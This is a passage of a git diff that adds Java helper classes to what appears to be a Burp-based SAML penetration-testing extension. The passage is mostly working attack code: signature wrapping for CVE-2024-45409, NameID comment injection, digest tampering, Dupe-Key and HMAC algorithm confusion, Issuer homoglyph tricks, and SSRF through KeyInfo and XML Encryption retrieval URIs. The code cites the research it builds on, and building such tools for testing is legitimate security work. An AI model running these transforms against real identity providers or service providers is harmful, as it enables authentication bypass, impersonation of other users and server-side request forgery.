ID. + String originalID = originalAssertion.getAttribute("ID"); + evilAssertion.setAttribute("ID", originalID.isEmpty() + ? "evil_assertion_" + System.currentTimeMillis() + : originalID + "_evil"); + + // Remove the signature from the evil assertion — it is unsigned by design. + NodeList children = evilAssertion.getChildNodes(); + for (int i = 0; i < children.getLength(); i++) { + Node child = children.item(i); + if (child.getNodeType() == Node.ELEMENT_NODE && "Signature".equals(child.getLocalName())) { + Node prev = child.getPreviousSibling(); + if (prev != null && prev.getNodeType() == Node.TEXT_NODE + && prev.getTextContent().trim().isEmpty()) { + evilAssertion.removeChild(prev); + } + evilAssertion.removeChild(child); + break; + } + } + + // Prepend the evil assertion before the original so ruby-saml's XPath picks it first. + response.insertBefore(evilAssertion, originalAssertion); + + return xmlHelpers.getString(document); + } + + private CVE_2024_45409() {} +} diff --git a/src/main/java/helpers/CommentInjection.java b/src/main/java/helpers/CommentInjection.java new file mode 100644 index 0000000..9505541 --- /dev/null +++ b/src/main/java/helpers/CommentInjection.java @@ -0,0 +1,115 @@ +package helpers; + +import org.w3c.dom.Comment; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.w3c.dom.Text; +import org.xml.sax.SAXException; + +import java.io.IOException; + +/// XML comment injection into SAML NameID values. +/// +/// Different XML parsers handle comment nodes embedded within element text content +/// inconsistently. XML Signature exclusive C14N strips comments before computing +/// the digest, so the signature remains valid after injection. A vulnerable SP +/// that reads the raw NameID string (rather than the canonical form) may see a +/// truncated or altered identity — e.g., "admin@evil.com" can be read as +/// "admin" by parsers that return only the first text node. +/// +/// Links: +/// * CVE-2017-11427 (OneLogin ruby-saml): https://nvd.nist.gov/vuln/detail/CVE-2017-11427 +/// * CVE-2017-11428 (ruby-saml): https://nvd.nist.gov/vuln/detail/CVE-2017-11428 +/// * CVE-2017-11429 (Clever): https://nvd.nist.gov/vuln/detail/CVE-2017-11429 +/// * CVE-2017-11430 (OmniAuth-SAML): https://nvd.nist.gov/vuln/detail/CVE-2017-11430 +/// * Duo research: https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations +/// * Academic paper: https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-li-junade.pdf +public class CommentInjection { + + public enum Position { + BEFORE_AT("Before @ — user @domain → parser may return \"user\""), + AFTER_AT("After @ — user@domain → parser may return \"user@\""), + PREPEND("Prepend — user@domain → parser may return \"\""), + APPEND("Append — user@domain → least effective, appended after value"); + + private final String label; + + Position(String label) { + this.label = label; + } + + @Override + public String toString() { + return label; + } + + } + + /// Injects an empty XML comment into the first NameID element. + /// Works via DOM so namespace prefixes are handled correctly. + /// The signature stays valid: exclusive C14N strips comments before digest + /// computation, so the canonical form is unchanged. + public static String apply(String samlMessage, Position position) throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + NodeList nameIDs = document.getElementsByTagNameNS("*", "NameID"); + if (nameIDs.getLength() == 0) { + throw new IllegalArgumentException("No NameID element found in SAML message."); + } + + Element nameID = (Element) nameIDs.item(0); + String fullValue = nameID.getTextContent(); + + // Clear existing child nodes of NameID, then rebuild with injected comment. + while (nameID.hasChildNodes()) { + nameID.removeChild(nameID.getFirstChild()); + } + + int atIdx = fullValue.indexOf('@'); + Comment comment = document.createComment(""); + + switch (position) { + case BEFORE_AT -> { + if (atIdx >= 0) { + nameID.appendChild(text(document, fullValue.substring(0, atIdx))); + nameID.appendChild(comment); + nameID.appendChild(text(document, fullValue.substring(atIdx))); + } else { + nameID.appendChild(text(document, fullValue)); + nameID.appendChild(comment); + } + } + case AFTER_AT -> { + if (atIdx >= 0) { + nameID.appendChild(text(document, fullValue.substring(0, atIdx + 1))); + nameID.appendChild(comment); + nameID.appendChild(text(document, fullValue.substring(atIdx + 1))); + } else { + int mid = fullValue.length() / 2; + nameID.appendChild(text(document, fullValue.substring(0, mid))); + nameID.appendChild(comment); + nameID.appendChild(text(document, fullValue.substring(mid))); + } + } + case PREPEND -> { + nameID.appendChild(comment); + nameID.appendChild(text(document, fullValue)); + } + case APPEND -> { + nameID.appendChild(text(document, fullValue)); + nameID.appendChild(comment); + } + } + + return xmlHelpers.getString(document); + } + + private static Text text(Document doc, String value) { + return doc.createTextNode(value); + } + + private CommentInjection() {} +} diff --git a/src/main/java/helpers/DigestTamper.java b/src/main/java/helpers/DigestTamper.java new file mode 100644 index 0000000..a546ea3 --- /dev/null +++ b/src/main/java/helpers/DigestTamper.java @@ -0,0 +1,62 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; + +/// Corrupts every DigestValue in the SAML message while leaving the signature +/// structure intact. +/// +/// Tests for the "signature is present but never verified" misconfiguration +/// — an SP that accepts the response after a DigestValue flip either does +/// not validate signatures at all, or only checks that a element +/// exists. This is distinct from SignatureExclusion (which drops the entire +/// ): some libraries reject responses with no signature but still +/// accept responses whose signature is structurally valid but cryptographically +/// wrong. +/// +/// Reference: https://agrrrdog.blogspot.com/2023/01/testing-saml-security-with-dast.html +public class DigestTamper { + + /// Flips the first base64 character of every DigestValue text node to + /// guarantee the digest no longer matches the referenced element, without + /// producing invalid base64. 'A' -> 'B', 'a' -> 'b', '/' -> '+', etc. + public static String apply(String samlMessage) throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + NodeList digests = document.getElementsByTagNameNS("*", "DigestValue"); + if (digests.getLength() == 0) { + throw new IllegalArgumentException("No DigestValue element found in SAML message."); + } + + for (int i = 0; i < digests.getLength(); i++) { + Element d = (Element) digests.item(i); + String original = d.getTextContent().trim(); + if (original.isEmpty()) continue; + d.setTextContent(flipFirstBase64Char(original)); + } + + return xmlHelpers.getString(document); + } + + private static String flipFirstBase64Char(String b64) { + char c = b64.charAt(0); + char flipped; + if (c >= 'A' && c <= 'Y') flipped = (char) (c + 1); + else if (c == 'Z') flipped = 'A'; + else if (c >= 'a' && c <= 'y') flipped = (char) (c + 1); + else if (c == 'z') flipped = 'a'; + else if (c >= '0' && c <= '8') flipped = (char) (c + 1); + else if (c == '9') flipped = '0'; + else if (c == '+') flipped = '/'; + else if (c == '/') flipped = '+'; + else flipped = 'A'; + return flipped + b64.substring(1); + } + + private DigestTamper() {} +} diff --git a/src/main/java/helpers/DupeKeyConfusion.java b/src/main/java/helpers/DupeKeyConfusion.java new file mode 100644 index 0000000..df0eca1 --- /dev/null +++ b/src/main/java/helpers/DupeKeyConfusion.java @@ -0,0 +1,153 @@ +package helpers; + +import model.BurpCertificate; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import javax.xml.crypto.MarshalException; +import javax.xml.crypto.dsig.XMLSignatureException; +import java.io.IOException; +import java.math.BigInteger; +import java.security.PublicKey; +import java.security.cert.CertificateException; +import java.security.interfaces.RSAPublicKey; +import java.security.spec.InvalidKeySpecException; +import java.util.Base64; + +/// Dupe-Key Confusion (.NET WIF / ADFS). +/// +/// Originally disclosed by Alvaro Muñoz and Oleksandr Mirosh at Black Hat USA +/// 2019 ("SSO Wars: The Token Menace"). Affected stacks expose two different +/// KeyInfo resolvers during signature processing: +/// - `ResolveSecurityKey(KeyInfo)` → picks a public key to verify with +/// - `ResolveSecurityToken(KeyInfo)` → picks the identity (certificate) +/// Some implementations walk the KeyInfo children in order and return the +/// FIRST match that fits each resolver's preferred type. That lets an +/// attacker split authentication from identity: include an attacker RSA key +/// (matched by the key resolver) and the original victim certificate +/// (matched by the token resolver). The signature verifies under the +/// attacker's key, while the SP trusts the victim's identity. +/// +/// This helper performs the rewrite AFTER the user has re-signed the SAML +/// message with an attacker-controlled keypair. It: +/// 1. Preserves the attacker's X509Data produced by the re-sign. +/// 2. Prepends derived from the attacker cert +/// (this is what the key resolver picks first in the vulnerable flow). +/// 3. Replaces the X509Certificate bytes with the *original* victim cert +/// supplied by the caller (this is what the token resolver returns). +/// +/// Workflow in SamlTabController: user selects their attacker cert in the +/// signing dropdown, the controller re-signs with it, remembers the original +/// X509 from the pre-attack message, and feeds both into this helper. +/// +/// References: +/// * BlackHat USA 2019 slides: +/// https://i.blackhat.com/USA-19/Wednesday/us-19-Munoz-SSO-Wars-The-Token-Menace.pdf +public class DupeKeyConfusion { + + private static final String DS_NS = "http://www.w3.org/2000/09/xmldsig#"; + + /// Rewrites the first ds:Signature/ds:KeyInfo in the document. + /// + /// @param samlMessage SAML message already re-signed with attacker's key + /// @param attackerCert attacker cert whose public key is embedded as RSAKeyValue first + /// @param originalX509B64 original victim X.509 certificate, base64 DER — replaces + /// the re-sign's X509Data so token resolution returns the victim + public static String apply(String samlMessage, + BurpCertificate attackerCert, + String originalX509B64) + throws SAXException, IOException, CertificateException, + InvalidKeySpecException, MarshalException, XMLSignatureException { + if (attackerCert == null || attackerCert.getCertificate() == null) { + throw new IllegalArgumentException("attacker certificate must not be null"); + } + if (originalX509B64 == null || originalX509B64.isBlank()) { + throw new IllegalArgumentException( + "original X509Certificate must not be empty — capture the response before re-signing"); + } + + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + NodeList signatures = document.getElementsByTagNameNS(DS_NS, "Signature"); + if (signatures.getLength() == 0) { + throw new IllegalArgumentException( + "No Signature element found — re-sign the assertion before applying Dupe Key Confusion."); + } + + Element signature = (Element) signatures.item(0); + Element keyInfo = firstChildNs(signature, DS_NS, "KeyInfo"); + if (keyInfo == null) { + throw new IllegalArgumentException("Signature has no KeyInfo element."); + } + + // --- 1. Build attacker RSAKeyValue from attacker certificate's public key. + PublicKey pk = attackerCert.getCertificate().getPublicKey(); + if (!(pk instanceof RSAPublicKey)) { + throw new IllegalArgumentException( + "Attacker cert does not carry an RSA public key — Dupe Key attack requires RSA."); + } + RSAPublicKey rsa = (RSAPublicKey) pk; + String modulusB64 = base64Unsigned(rsa.getModulus()); + String exponentB64 = base64Unsigned(rsa.getPublicExponent()); + + String kiPrefix = keyInfo.getPrefix(); + String dsPrefix = (kiPrefix == null || kiPrefix.isEmpty()) ? "" : kiPrefix + ":"; + + Element keyValue = document.createElementNS(DS_NS, dsPrefix + "KeyValue"); + Element rsaKeyValue = document.createElementNS(DS_NS, dsPrefix + "RSAKeyValue"); + Element modulus = document.createElementNS(DS_NS, dsPrefix + "Modulus"); + modulus.setTextContent(modulusB64); + Element exponent = document.createElementNS(DS_NS, dsPrefix + "Exponent"); + exponent.setTextContent(exponentB64); + rsaKeyValue.appendChild(modulus); + rsaKeyValue.appendChild(exponent); + keyValue.appendChild(rsaKeyValue); + + // --- 2. Replace the X509Certificate text with the original victim cert, + // so the token resolver returns the trusted identity. + NodeList x509Certs = keyInfo.getElementsByTagNameNS(DS_NS, "X509Certificate"); + if (x509Certs.getLength() == 0) { + throw new IllegalArgumentException( + "Signed KeyInfo lacks X509Certificate — the re-sign step did not embed one."); + } + // Strip whitespace/newlines from the supplied cert before embedding. + String cleanedOriginal = originalX509B64.replaceAll("\\s+", ""); + x509Certs.item(0).setTextContent(cleanedOriginal); + + // --- 3. Insert the attacker KeyValue as the FIRST child of KeyInfo so + // the key resolver walks onto it before any X509Data. + keyInfo.insertBefore(keyValue, keyInfo.getFirstChild()); + + return xmlHelpers.getString(document); + } + + private static String base64Unsigned(BigInteger value) { + // XMLDSig CryptoBinary: big-endian, minimal two's-complement, then base64. + // BigInteger.toByteArray can prepend a leading 0x00 for positive values + // whose high bit is set — strip it so the encoded integer is minimal. + byte[] bytes = value.toByteArray(); + if (bytes.length > 1 && bytes[0] == 0) { + byte[] trimmed = new byte[bytes.length - 1]; + System.arraycopy(bytes, 1, trimmed, 0, trimmed.length); + bytes = trimmed; + } + return Base64.getEncoder().encodeToString(bytes); + } + + private static Element firstChildNs(Element parent, String ns, String localName) { + for (Node n = parent.getFirstChild(); n != null; n = n.getNextSibling()) { + if (n.getNodeType() == Node.ELEMENT_NODE + && ns.equals(n.getNamespaceURI()) + && localName.equals(n.getLocalName())) { + return (Element) n; + } + } + return null; + } + + private DupeKeyConfusion() {} +} diff --git a/src/main/java/helpers/EncryptionSSRF.java b/src/main/java/helpers/EncryptionSSRF.java new file mode 100644 index 0000000..5f9129e --- /dev/null +++ b/src/main/java/helpers/EncryptionSSRF.java @@ -0,0 +1,161 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; + +/// SSRF / blind-URL-fetch primitives against XML Encryption structures inside +/// a SAML . +/// +/// XML Encryption processors resolve several URI-bearing elements while decrypting: +/// - — ciphertext is fetched from URI +/// - — pointer to encrypted element +/// - inside +/// / — key material fetched from URI +/// +/// Any of these get dereferenced before the decrypted content is validated or +/// consumed, which turns the SP's encryption processor into an SSRF oracle. +/// Because decryption generally happens before signature verification (for +/// response decrypt-then-verify flows), these attacks do not require any +/// signing capability. +/// +/// References: +/// * W3C XML Encryption 1.1: https://www.w3.org/TR/xmlenc-core1/ +/// * GreenDog SAML talk (KazHackStan 2023): slide deck `doc/KazHackStan._SAML_Hacking.pdf` +/// * Viettel "SAML Show-Stopper": https://blog.viettelcybersecurity.com/saml-show-stopper/ +public class EncryptionSSRF { + + private static final String XENC_NS = "http://www.w3.org/2001/04/xmlenc#"; + private static final String DS_NS = "http://www.w3.org/2000/09/xmldsig#"; + + public enum Mode { + CIPHER_REFERENCE( + "CipherReference — ciphertext fetched from URL during decrypt"), + DATA_REFERENCE( + "DataReference — EncryptedKey/ReferenceList pointer fetched"), + ENCRYPTED_KEY_KEYINFO( + "EncryptedKey KeyInfo RetrievalMethod — key material fetched"); + + private final String label; + Mode(String label) { this.label = label; } + @Override public String toString() { return label; } + } + + public static String apply(String samlMessage, Mode mode, String url) + throws SAXException, IOException { + if (url == null || url.isBlank()) { + throw new IllegalArgumentException("Retrieval URL must not be empty."); + } + + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + switch (mode) { + case CIPHER_REFERENCE -> applyCipherReference(document, url); + case DATA_REFERENCE -> applyDataReference(document, url); + case ENCRYPTED_KEY_KEYINFO -> applyEncryptedKeyKeyInfo(document, url); + } + + return xmlHelpers.getString(document); + } + + // --- CipherReference: replace the first with a --- + + private static void applyCipherReference(Document document, String url) { + NodeList cipherDatas = document.getElementsByTagNameNS(XENC_NS, "CipherData"); + if (cipherDatas.getLength() == 0) { + throw new IllegalArgumentException( + "No xenc:CipherData element found — is there an EncryptedAssertion/EncryptedData?"); + } + Element cipherData = (Element) cipherDatas.item(0); + + // Remove existing CipherValue / CipherReference children. + for (String childLocal : new String[]{"CipherValue", "CipherReference"}) { + NodeList existing = cipherData.getElementsByTagNameNS(XENC_NS, childLocal); + for (int i = existing.getLength() - 1; i >= 0; i--) { + Node n = existing.item(i); + n.getParentNode().removeChild(n); + } + } + + String prefix = cipherData.getPrefix(); + String qname = (prefix == null || prefix.isEmpty()) + ? "CipherReference" : prefix + ":CipherReference"; + Element cipherRef = document.createElementNS(XENC_NS, qname); + cipherRef.setAttribute("URI", url); + cipherData.appendChild(cipherRef); + } + + // --- DataReference: point the first EncryptedKey's ReferenceList at an external URI --- + + private static void applyDataReference(Document document, String url) { + NodeList encKeys = document.getElementsByTagNameNS(XENC_NS, "EncryptedKey"); + if (encKeys.getLength() == 0) { + throw new IllegalArgumentException( + "No xenc:EncryptedKey element found — DataReference requires an EncryptedKey wrapper."); + } + Element encKey = (Element) encKeys.item(0); + + // Find or create the ReferenceList (direct child of EncryptedKey). + Element refList = firstChildElement(encKey, XENC_NS, "ReferenceList"); + String prefix = encKey.getPrefix(); + String xencPrefix = (prefix == null || prefix.isEmpty()) ? "" : prefix + ":"; + if (refList == null) { + refList = document.createElementNS(XENC_NS, xencPrefix + "ReferenceList"); + encKey.appendChild(refList); + } else { + // Wipe existing DataReference / KeyReference children so only ours remains. + while (refList.hasChildNodes()) refList.removeChild(refList.getFirstChild()); + } + + Element dataRef = document.createElementNS(XENC_NS, xencPrefix + "DataReference"); + dataRef.setAttribute("URI", url); + refList.appendChild(dataRef); + } + + // --- EncryptedKey KeyInfo RetrievalMethod: make the SP fetch key material --- + + private static void applyEncryptedKeyKeyInfo(Document document, String url) { + NodeList encKeys = document.getElementsByTagNameNS(XENC_NS, "EncryptedKey"); + if (encKeys.getLength() == 0) { + throw new IllegalArgumentException( + "No xenc:EncryptedKey element found — this mode requires an EncryptedKey."); + } + Element encKey = (Element) encKeys.item(0); + + // EncryptedKey carries its own ds:KeyInfo describing the *wrapping* key. + Element keyInfo = firstChildElement(encKey, DS_NS, "KeyInfo"); + if (keyInfo == null) { + // Create one at the start of the EncryptedKey element. + keyInfo = document.createElementNS(DS_NS, "ds:KeyInfo"); + encKey.insertBefore(keyInfo, encKey.getFirstChild()); + } else { + while (keyInfo.hasChildNodes()) keyInfo.removeChild(keyInfo.getFirstChild()); + } + + String kiPrefix = keyInfo.getPrefix(); + String qname = (kiPrefix == null || kiPrefix.isEmpty()) + ? "RetrievalMethod" : kiPrefix + ":RetrievalMethod"; + Element retrieval = document.createElementNS(DS_NS, qname); + retrieval.setAttribute("URI", url); + retrieval.setAttribute("Type", "http://www.w3.org/2001/04/xmlenc#EncryptedKey"); + keyInfo.appendChild(retrieval); + } + + private static Element firstChildElement(Element parent, String ns, String localName) { + for (Node n = parent.getFirstChild(); n != null; n = n.getNextSibling()) { + if (n.getNodeType() == Node.ELEMENT_NODE + && ns.equals(n.getNamespaceURI()) + && localName.equals(n.getLocalName())) { + return (Element) n; + } + } + return null; + } + + private EncryptionSSRF() {} +} diff --git a/src/main/java/helpers/HMACConfusion.java b/src/main/java/helpers/HMACConfusion.java new file mode 100644 index 0000000..f4161f4 --- /dev/null +++ b/src/main/java/helpers/HMACConfusion.java @@ -0,0 +1,129 @@ +package helpers; + +import org.apache.xml.security.Init; +import org.apache.xml.security.c14n.CanonicalizationException; +import org.apache.xml.security.c14n.Canonicalizer; +import org.apache.xml.security.c14n.InvalidCanonicalizerException; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; +import java.security.PublicKey; +import java.security.cert.CertificateException; +import java.security.cert.CertificateFactory; +import java.security.cert.X509Certificate; +import java.util.Base64; + +/// HMAC algorithm confusion attack against XML Digital Signatures. +/// +/// The attack substitutes the RSA SignatureMethod algorithm URI with HMAC-SHA256, +/// then computes a valid HMAC over the canonical SignedInfo using the signing +/// certificate's SubjectPublicKeyInfo DER bytes as the HMAC key. Implementations +/// that do not restrict accepted signature algorithms before processing will +/// verify the HMAC using the same public key they already trust — giving the +/// attacker full control over the signed data. +/// +/// Attack pre-conditions: +/// - The SAML response must contain an embedded X509Certificate in KeyInfo. +/// - The target SP must not enforce an algorithm allowlist. +/// +/// Links: +/// * Original XML DSig confusion research: https://www.nds.rub.de/media/nds/veroeffentlichungen/2012/12/13/XMLDSigSecurity.pdf +/// (Juraj Somorovsky, Andreas Mayer, Jörg Schwenk, Marco Kampmann, Meiko Jensen — 2011) +/// * CVE-2013-5958 (Java XML DSig): https://nvd.nist.gov/vuln/detail/CVE-2013-5958 +/// * PortSwigger research: https://portswigger.net/research/saml-roulette-the-hacker-always-wins +/// * Tool reference: https://github.com/GDSSecurity/XML-Attacker +public class HMACConfusion { + + private static final String HMAC_SHA256_URI = + "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"; + + /// Rewrites the signature in-place: + /// 1. Reads the public key from the embedded X509Certificate. + /// 2. Swaps SignatureMethod to HMAC-SHA256. + /// 3. Canonicalizes the updated SignedInfo. + /// 4. Computes HMAC-SHA256(SubjectPublicKeyInfo_DER, canonical_SignedInfo). + /// 5. Replaces the SignatureValue. + public static String apply(String samlMessage) + throws SAXException, IOException, NoSuchAlgorithmException, InvalidKeyException, + CertificateException, InvalidCanonicalizerException, CanonicalizationException { + + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + Element signature = firstElement(document, "Signature"); + if (signature == null) { + throw new IllegalArgumentException("No Signature element found in SAML message."); + } + + // --- Extract the public key from the embedded certificate --- + String certB64 = xmlHelpers.getCertificate(document.getDocumentElement()); + if (certB64 == null) { + throw new IllegalArgumentException("No X509Certificate found in Signature/KeyInfo."); + } + byte[] certBytes = Base64.getDecoder().decode(certB64.replaceAll("\\s+", "")); + X509Certificate cert = (X509Certificate) + CertificateFactory.getInstance("X.509") + .generateCertificate(new ByteArrayInputStream(certBytes)); + PublicKey publicKey = cert.getPublicKey(); + // SubjectPublicKeyInfo DER encoding — the standard HMAC key for this attack + byte[] keyBytes = publicKey.getEncoded(); + + // --- Swap the SignatureMethod algorithm to HMAC-SHA256 --- + Element sigMethod = firstElement(signature, "SignatureMethod"); + if (sigMethod == null) { + throw new IllegalArgumentException("No SignatureMethod element found."); + } + sigMethod.setAttribute("Algorithm", HMAC_SHA256_URI); + + // --- Canonicalize the updated SignedInfo --- + Element signedInfo = firstElement(signature, "SignedInfo"); + if (signedInfo == null) { + throw new IllegalArgumentException("No SignedInfo element found."); + } + + // Read the canonicalization algorithm declared in SignedInfo + Element c14nMethodEl = firstElement(signedInfo, "CanonicalizationMethod"); + String c14nAlgo = c14nMethodEl != null + ? c14nMethodEl.getAttribute("Algorithm") + : Canonicalizer.ALGO_ID_C14N_EXCL_OMIT_COMMENTS; + + Init.init(); + Canonicalizer canon = Canonicalizer.getInstance(c14nAlgo); + byte[] canonBytes = canon.canonicalizeSubtree(signedInfo); + + // --- Compute HMAC-SHA256 --- + Mac mac = Mac.getInstance("HmacSHA256"); + mac.init(new SecretKeySpec(keyBytes, "HmacSHA256")); + byte[] hmac = mac.doFinal(canonBytes); + String hmacB64 = Base64.getEncoder().encodeToString(hmac); + + // --- Replace the SignatureValue --- + Element sigValue = firstElement(signature, "SignatureValue"); + if (sigValue == null) { + throw new IllegalArgumentException("No SignatureValue element found."); + } + sigValue.setTextContent(hmacB64); + + return xmlHelpers.getString(document); + } + + private static Element firstElement(Element parent, String localName) { + NodeList nl = parent.getElementsByTagNameNS("*", localName); + return nl.getLength() > 0 ? (Element) nl.item(0) : null; + } + + private static Element firstElement(Document doc, String localName) { + NodeList nl = doc.getElementsByTagNameNS("*", localName); + return nl.getLength() > 0 ? (Element) nl.item(0) : null; + } + + private HMACConfusion() {} +} diff --git a/src/main/java/helpers/IssuerConfusion.java b/src/main/java/helpers/IssuerConfusion.java new file mode 100644 index 0000000..0eff87f --- /dev/null +++ b/src/main/java/helpers/IssuerConfusion.java @@ -0,0 +1,59 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; + +/// Issuer / tenant-confusion by appending invisible-but-different characters +/// to the Issuer text, exploiting multitenant SPs that pick the wrong IdP +/// based on a loose Issuer lookup. See HackerOne #976603 (Shopify, "IdP1 " +/// with trailing space) and the "Multitenant" slide in the KazHackStan deck. +/// +/// Modes enumerate the different invisible-or-near-invisible postfixes worth +/// trying: ASCII SP, NBSP, zero-width space, tab, and a full-width Latin char. +public class IssuerConfusion { + + public enum Mode { + TRAILING_SPACE("Trailing ASCII space"), + TRAILING_NBSP("Trailing NBSP (U+00A0)"), + TRAILING_ZWSP("Trailing zero-width space (U+200B)"), + TRAILING_TAB("Trailing tab (\\t)"), + // Latin small letter 'a' vs Cyrillic small letter 'a' (U+0430) — identical glyph. + HOMOGLYPH_LATIN_A_TO_CYRILLIC("Replace first 'a' with Cyrillic U+0430"); + + private final String label; + Mode(String label) { this.label = label; } + @Override public String toString() { return label; } + } + + /// Mutates the text content of every Issuer element according to the mode. + public static String apply(String samlMessage, Mode mode) throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + NodeList issuers = document.getElementsByTagNameNS("*", "Issuer"); + if (issuers.getLength() == 0) { + throw new IllegalArgumentException("No Issuer element found in SAML message."); + } + + for (int i = 0; i < issuers.getLength(); i++) { + String original = issuers.item(i).getTextContent(); + issuers.item(i).setTextContent(transform(original, mode)); + } + return xmlHelpers.getString(document); + } + + private static String transform(String input, Mode mode) { + return switch (mode) { + case TRAILING_SPACE -> input + " "; + case TRAILING_NBSP -> input + " "; + case TRAILING_ZWSP -> input + "​"; + case TRAILING_TAB -> input + "\t"; + case HOMOGLYPH_LATIN_A_TO_CYRILLIC -> input.replaceFirst("a", "а"); + }; + } + + private IssuerConfusion() {} +} diff --git a/src/main/java/helpers/KeyInfoSSRF.java b/src/main/java/helpers/KeyInfoSSRF.java new file mode 100644 index 0000000..34e2810 --- /dev/null +++ b/src/main/java/helpers/KeyInfoSSRF.java @@ -0,0 +1,68 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; + +/// SSRF / blind file-read via XML Signature KeyInfo dereferencing. +/// +/// When an SP's signature verification library resolves +/// to fetch key material, it will issue an outbound HTTP request (or, if the URI is +/// a file:// scheme, read a local file) before the signature is validated. An SP +/// that dereferences attacker-controlled URIs during verification leaks an SSRF / +/// file-read primitive — and since resolution happens pre-validation, the attack +/// does not require a valid signature. +/// +/// This helper replaces the contents of the first KeyInfo element with a single +/// RetrievalMethod pointing at the supplied URL. The original X509Data is dropped, +/// so the verifier is forced down the retrieval path. +/// +/// Links: +/// * CVE-2021-40690 (Apache Santuario XMLSec): https://nvd.nist.gov/vuln/detail/CVE-2021-40690 +/// * CVE-2022-21497 (Oracle Access Manager): https://nvd.nist.gov/vuln/detail/CVE-2022-21497 +/// * XML Signature Syntax (RetrievalMethod): https://www.w3.org/TR/xmldsig-core1/#sec-RetrievalMethod +public class KeyInfoSSRF { + + private static final String DS_NS = "http://www.w3.org/2000/09/xmldsig#"; + private static final String X509_DATA_TYPE = "http://www.w3.org/2000/09/xmldsig#X509Data"; + + /// Replaces the first KeyInfo's children with a RetrievalMethod pointing + /// at the supplied URL. Preserves the existing namespace prefix on KeyInfo + /// (typically "ds") so the serialized document remains self-consistent. + public static String apply(String samlMessage, String retrievalUrl) + throws SAXException, IOException { + if (retrievalUrl == null || retrievalUrl.isBlank()) { + throw new IllegalArgumentException("Retrieval URL must not be empty."); + } + + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + NodeList keyInfos = document.getElementsByTagNameNS("*", "KeyInfo"); + if (keyInfos.getLength() == 0) { + throw new IllegalArgumentException("No KeyInfo element found in SAML message."); + } + + Element keyInfo = (Element) keyInfos.item(0); + while (keyInfo.hasChildNodes()) { + keyInfo.removeChild(keyInfo.getFirstChild()); + } + + String prefix = keyInfo.getPrefix(); + String qname = (prefix == null || prefix.isEmpty()) + ? "RetrievalMethod" + : prefix + ":RetrievalMethod"; + + Element retrieval = document.createElementNS(DS_NS, qname); + retrieval.setAttribute("URI", retrievalUrl); + retrieval.setAttribute("Type", X509_DATA_TYPE); + keyInfo.appendChild(retrieval); + + return xmlHelpers.getString(document); + } + + private KeyInfoSSRF() {} +} diff --git a/src/main/java/helpers/MetadataImport.java b/src/main/java/helpers/MetadataImport.java new file mode 100644 index 0000000..dbb6303 --- /dev/null +++ b/src/main/java/helpers/MetadataImport.java @@ -0,0 +1,73 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.ArrayList; +import java.util.List; + +/// Parses SAML 2.0 metadata (IdP or SP EntityDescriptor) and pulls every +/// embedded X.509 certificate out of . Certificates are +/// returned as base64-DER strings ready to feed into +/// CertificateTabController.importCertificateFromString. +/// +/// Typical workflow per the KazHackStan deck: fetch `/idp/metadata` +/// (or the SP equivalent), extract the signing cert, then use it for +/// certificate-faking / Dupe-Key Confusion. +public class MetadataImport { + + /// One parsed cert entry. `use` is "signing", "encryption", or "" if + /// the KeyDescriptor did not declare a use. + public record Entry(String use, String base64Der) {} + + /// Extract all X509Certificate bodies from a metadata XML string. + public static List extract(String metadataXml) throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(metadataXml); + + List out = new ArrayList<>(); + NodeList keyDescs = document.getElementsByTagNameNS("*", "KeyDescriptor"); + for (int i = 0; i < keyDescs.getLength(); i++) { + Element kd = (Element) keyDescs.item(i); + String use = kd.getAttribute("use"); // may be "" + NodeList certs = kd.getElementsByTagNameNS("*", "X509Certificate"); + for (int j = 0; j < certs.getLength(); j++) { + String text = certs.item(j).getTextContent(); + if (text != null && !text.isBlank()) { + out.add(new Entry(use, text.replaceAll("\\s+", ""))); + } + } + } + return out; + } + + /// Fetch metadata XML over HTTP(S) with a short timeout. The caller is + /// expected to validate the URL — this is a pentester tool, so we do not + /// enforce schemes or domains. + public static String fetch(String url) throws IOException, InterruptedException { + HttpClient client = HttpClient.newBuilder() + 